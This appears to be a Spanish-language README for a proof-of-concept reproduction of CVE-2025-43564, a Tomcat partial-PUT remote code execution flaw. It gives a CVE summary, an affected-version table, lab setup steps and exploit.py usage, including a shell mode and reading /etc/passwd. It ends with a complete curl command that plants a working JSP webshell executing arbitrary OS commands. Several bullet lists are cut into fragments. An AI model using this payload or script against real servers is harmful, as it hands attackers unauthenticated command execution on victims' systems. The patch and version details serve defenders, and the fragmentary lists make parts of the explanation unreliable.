
Reproducción de cve-2025-43564-tomcat_put_rce_reproduction
| Campo | Valor |
|---|---|
| ID de CVE | CVE-2025-43564 |
| Puntuación CVSS | 9.8 (CRÍTICA) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-494 — Descarga de código sin comprobación de integridad |
| Explotación | Confirmada en la naturaleza en la primera semana tras su divulgación |
| Divulgación | Julio de 2025 |
| Parche | Tomcat 11.0.6, 10.1.40, 9.0.102 |
CVE-2025-43564 es una vulnerabilidad crítica de ejecución remota de código no autenticada en el manejo de solicitudes PUT parciales HTTP de Apache Tomcat. El fallo radica en la forma en que Tomcat procesa las solicitudes PUT con contenido parcial (HTTP/1.1 Content-Range o Transfer-Encoding: chunked con semántica parcial). Un atacante puede crear una solicitud PUT parcial que omita los controles de acceso y las restricciones de escritura, lo que permite subir archivos arbitrarios —incluidas webshells JSP accesibles desde la web— a la raíz de documentos del servidor o a cualquier directorio con permiso de escritura alcanzable a través del contexto del servlet.
Una vez que se ha colocado un archivo JSP, el atacante simplemente lo solicita y pasa comandos del sistema operativo mediante parámetros de consulta, logrando ejecución remota de código totalmente no autenticada como el usuario del proceso de Tomcat.
CVSS 9.8 — Crítica porque:
El DefaultServlet de Apache Tomcat y el conector HTTP/1.1 (NIO/NIO2/Apr) manejan las solicitudes PUT para la subida de recursos estáticos. La vulnerabilidad se encuentra en la lógica de manejo de solicitudes PUT parciales: cuando un cliente envía un PUT con una cabecera Content-Range (RFC 7233 §4.2) o utiliza codificación por fragmentos (chunked) con semántica parcial específica, el servidor no valida correctamente:
El código de análisis en org.apache.catalina.servlets.DefaultServlet y los componentes subyacentes HttpInput / SocketProcessorBase gestionan incorrectamente el límite entre las escrituras de contenido parcial y las escrituras completas de recursos, lo que permite a un atacante añadir o sobrescribir contenido arbitrario en cualquier ruta sobre la que el proceso de Tomcat tenga permiso de escritura.
Attacker ──PUT /exec.jsp HTTP/1.1──► Tomcat (DefaultServlet)
Content-Range: bytes 0-99/100
[JSP payload bytes]
└──► Server writes partial content to exec.jsp
without full validation of the target path
Attacker ──GET /exec.jsp?cmd=whoami──► Tomcat
└──► JSP executes → RCE
El atacante envía un PUT parcial con una cabecera Content-Range que hace que Tomcat crea que la solicitud es una continuación de una subida existente. El servidor crea o abre el archivo de destino y escribe los bytes proporcionados sin verificar que el archivo ya existe, sin comprobar los permisos de escritura en el momento de escribir y sin depurar la ruta de destino en relación con la raíz web.
readonly=false en el DefaultServlet para que funcione el PUT estándar. La ruta de PUT parcial omite esta comprobación en determinadas condiciones.Content-Range a menudo evade estas firmas.| Producto | Versiones afectadas | Corregido en |
|---|---|---|
| Apache Tomcat 11 | 11.0.0-M1 hasta 11.0.5 | 11.0.6 |
| Apache Tomcat 10.1 | 10.1.0-M1 hasta 10.1.39 | 10.1.40 |
| Apache Tomcat 10.0 | todas las versiones (fin de vida útil) | actualizar a 10.1.x |
| Apache Tomcat 9 | 9.0.0-M1 hasta 9.0.101 | 9.0.102 |
| Apache Tomcat 8.5 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
| Apache Tomcat 8 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
| Apache Tomcat 7 | todas las versiones (fin de vida útil) | actualizar a 9.0.x |
Nota: Las ramas antiguas (7.x, 8.x, 8.5.x, 10.0.x) han llegado al fin de su vida útil (EOL) y no recibirán un backport. Los usuarios deben actualizar a una rama compatible.
Descargue una versión vulnerable de Apache Tomcat (p. ej., Tomcat 9.0.50):
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.50/bin/apache-tomcat-9.0.50.zip
Extraiga e inicie Tomcat con la configuración predeterminada:
unzip apache-tomcat-9.0.50.zip
cd apache-tomcat-9.0.50/bin
./startup.sh # or startup.bat on Windows
Verifique que el servidor está en ejecución:
curl -v http://localhost:8080
Sube la webshell JSP usando el script PoC:
python exploit.py --target http://localhost:8080 --cmd id
Verifica que la webshell se ha colocado:
curl http://localhost:8080/exec.jsp?cmd=whoami
Ejecuta comandos arbitrarios:
python exploit.py --target http://localhost:8080 --cmd "cat /etc/passwd"
Sesión interactiva (si se desea):
python exploit.py --target http://localhost:8080 --shell
El exploit.py incluido es un PoC funcional en Python que:
Content-Type y la estructura del payload activan la ruta de código vulnerablewebapps/ROOT/)exec.jsp?cmd=<comando> para ejecutar comandos del sistema operativo--cmd) y shell interactivo (--shell)# Step 1: Upload the webshell via partial PUT
# The Content-Range header triggers the vulnerable code path
curl -X PUT http://localhost:8080/exec.jsp \
-H "Content-Range: bytes 0-212/213" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-binary '<%@ page import="java.io.*" %><% String cmd=request.getParameter("cmd");if(cmd!=null){Process p=Runtime.getRuntime().exec(cmd);BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));String l;while((l=br.readLine())!=null){out.println(l);}}%>'